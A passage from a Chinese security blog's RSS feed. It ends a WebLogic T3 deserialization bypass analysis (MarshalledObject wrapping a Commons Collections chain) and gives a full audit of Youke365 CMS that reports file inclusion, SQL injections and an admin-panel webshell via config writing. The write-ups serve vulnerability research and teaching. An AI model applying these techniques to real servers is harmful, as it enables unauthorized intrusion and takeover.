<p>拿到序列化对象的字节码数组，然后通过t3协议发送出去，后面不在解释。</p>
<p>总的来说，就是将cc对象封装进MarshalledObject，MarshalledObject不在黑名单中，那么执行他的readObject()就可以触发cc链。</p>
<p>再来看下weblogic在哪触发的readObject()，断到MarshalledObject.class的48行。</p>
<p><img src="/wp-content/uploads/2020/02/20200216017844.png" alt="image" /></p>
<p>这里的readObject()触发反序列化，怎么进入到readResolve()这个方法的？查看堆栈进入invokeReadResolve()</p>
<p><img src="/wp-content/uploads/2020/02/20200216013218.png" alt="image" /></p>
<p>这里通过反射调用var1也就是MarshalledObject对象的readResolve()方法。var1中包含了我们恶意的序列化数据，它怎么传进来的？</p>
<p>进入堆栈中readOrdinaryObject()</p>
<pre><code class="language-java ">private Object readOrdinaryObject(boolean var1) throws IOException {
    if (this.bin.readByte() != 115) {
        throw new InternalError();
    } else {
        ObjectStreamClass var2 = this.readClassDesc(false);
        var2.checkDeserialize();

        Object var3;
        try {
            var3 = var2.isInstantiable() ? var2.newInstance() : null;
        } catch (Exception var6) {
            throw (IOException)(new InvalidClassException(var2.forClass().getName(), "unable to create instance")).initCause(var6);
        }

        this.passHandle = this.handles.assign(var1 ? unsharedMarker : var3);
        ClassNotFoundException var4 = var2.getResolveException();
        if (var4 != null) {
            this.handles.markException(this.passHandle, var4);
        }

        if (var2.isExternalizable()) {
            this.readExternalData((Externalizable)var3, var2);
        } else {
            this.readSerialData(var3, var2);
        }

        this.handles.finish(this.passHandle);
        if (var3 != null &amp;&amp; this.handles.lookupException(this.passHandle) == null &amp;&amp; var2.hasReadResolveMethod()) {
            Object var5 = var2.invokeReadResolve(var3);
            if (var1 &amp;&amp; var5.getClass().isArray()) {
                var5 = cloneArray(var5);
            }

            if (var5 != var3) {
                var3 = var5;
                this.handles.setObject(this.passHandle, var5);
            }
        }

        return var3;
    }
}
</code></pre>
<p>在这里调用了invokeReadResolve()，参数var3在上文经过this.readClassDesc().newInstance()拿到传入t3协议的MarshalledObject对象，具体做了什么处理不深入研究。</p>
<h2>总结</h2>
<p>t3传入MarshalledObject对象 -> readOrdinaryObject() 拿到MarshalledObject对象 -> invokeReadResolve() 反射调用MarshalledObject对象的readResolve() -> readObject()触发cc反序列化。</p>
<h2>参考</h2>
<ol>
<li>jdk最好用1.6的，不然总是定位不到正确的函数。</li>
<li>https://www.cnblogs.com/afanti/p/10240232.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>对优客365CMS的一次审计</title>
		<link>/audit/382.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 21 Mar 2018 14:12:00 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[优客]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=291</guid>

					<description><![CDATA[核心小可爱的文章 先看一下目录结构 Data --- 应该为缓存之类的 Install--- 安装目录 Member--- 用户目录 Module--- 模型 Public--- ...]]></description>
										<content:encoded><![CDATA[<blockquote><p><a href="http://www.cnblogs.com/Syst1m/p/8619202.html">核心小可爱的文章</a></p></blockquote>
<p>先看一下目录结构</p>
<pre><code>Data ---  应该为缓存之类的
Install--- 安装目录
Member---  用户目录
Module---  模型
Public---   公用
Source---    未看
System---  后台
Themes---   主题
Config.php  配置
Dir.sql 安装时所需的数据库文件
Index.php  入口文件
Test.php  </code></pre>
<h1>TEST.php</h1>
<p>不知道这个test.php到底是干什么的，然后我打开它执行一下它里面的语句，是把导航查询出来然后以数组的形式进行输出，感觉没什么用，先放着<br /><img src="/wp-content/uploads/2018/03/30794699.png" alt="1.png" title="1.png"><br />Config.php主要对数据库进行了配置</p>
<p>然后看一下index.php  </p>
<p>把其中必要重要的东西记录一下：</p>
<p><code>define('ROOT_PATH', str_replace('\\', '/', dirname(__FILE__)).'/');</code></p>
<p>定义常量，根目录，文件目录部分的\替换为/</p>
<p><code>define('CORE_PATH', ROOT_PATH.'source/'); source目录</code></p>
<p><code>define('MOD_PATH', ROOT_PATH.'module/');  module目录</code></p>
<p>任意文件包含</p>
<p>在index.php中有这么一段</p>
<p><code>$module = $_GET['mod'] ? $_GET['mod'] : $_POST['mod'];</code></p>
<p>然后在浏览器中可以看到例如用户注册 URL为 <code>http://localhost/member/?mod=register</code></p>
<p>Mod=模型名，这样就很容易理解他的逻辑了</p>
<p>然后我跟随逻辑一个一个进行查看。</p>
<p>如果我在 module目录新建一个phpinfo()的文件，名字为phpinfo呢<br /><img src="/wp-content/uploads/2018/03/1619577770.png" alt="2.png" title="2.png"><br />可以看到phpinfo出来了，他并没有判断里面的内容和用户，而是存在就在后面添加.php执行，那麽我把内容改为一话呢？但是怎么让他存在这个文件就是个令人深思的问题喽。<br /><img src="/wp-content/uploads/2018/03/854276452.png" alt="3.png" title="3.png"><br />然后我直接在URL修改模块名字，一个一个分析。</p>
<p>Api.php中看到了intval ，这个函数是把用户的输入转换为整数，一般来说这种就不存在注入问题了。</p>
<p>很多表单限制字数  maxlength=&#8221;20&#8243;修改即可</p>
<h1>Login.php</h1>
<p><img src="/wp-content/uploads/2018/03/2120581793.png" alt="4.png" title="4.png"><br />表单提交用户名密码trim消除空格无视导致用户登陆处SQL注入一枚<br /><img src="/wp-content/uploads/2018/03/55800046.png" alt="5.png" title="5.png"><br />既然用户登陆处存在SQL注入，那麽来看一下管理员<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81" title="代码" target="_blank">代码</a></span>处<br /><img src="/wp-content/uploads/2018/03/3218081676.png" alt="6.png" title="6.png"><br />使用到了htmLspecialchars函数过滤了提交的用户名密码，但是大家知道这个函数他是过滤XSS的，那麽对SQL注入有关系吗？SQL注入一枚<br /><img src="/wp-content/uploads/2018/03/3943527753.png" alt="7.png" title="7.png"><br />同样的在用户注册也用了trim，但是后端限制了字数</p>
<p>后台添加用户用的和前台一样的方法，SQL一枚<br /><img src="/wp-content/uploads/2018/03/2496812281.png" alt="8.png" title="8.png"><br />添加广告<br /><img src="/wp-content/uploads/2018/03/3656862461.png" alt="9.png" title="9.png"><br />Keywords 把Post的 过滤 。如果没有POST的就使用 GET过来的，但是GET过来的没有过滤<br /><img src="/wp-content/uploads/2018/03/3680706693.png" alt="10.png" title="10.png"><br />不得不说到处都是SQL注入。。。</p>
<h1>后台GETshell</h1>
<p><img src="/wp-content/uploads/2018/03/137737700.png" alt="11.png" title="11.png"><br />这里倒是加上过滤了，可是好像驴头不对马嘴<br /><img src="/wp-content/uploads/2018/03/2589525363.png" alt="14.png" title="14.png"></p>
<p>直接将修改的内容写入配置，我在修改配置时<br /><img src="/wp-content/uploads/2018/03/2899385963.png" alt="12.png" title="12.png"><br />页面版权加入一句话木马，然后GETSHELL。<br /><img src="/wp-content/uploads/2018/03/1118501380.png" alt="13.png" title="13.png"><br />这套源码确实挺适合我们小白学习<span class="wpcom_tag_link"><a href="/tags/%e5%ae%a1%e8%ae%a1" title="审计" target="_blank">审计</a></span>的，应该还有很多洞没有看，实践出真知。</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
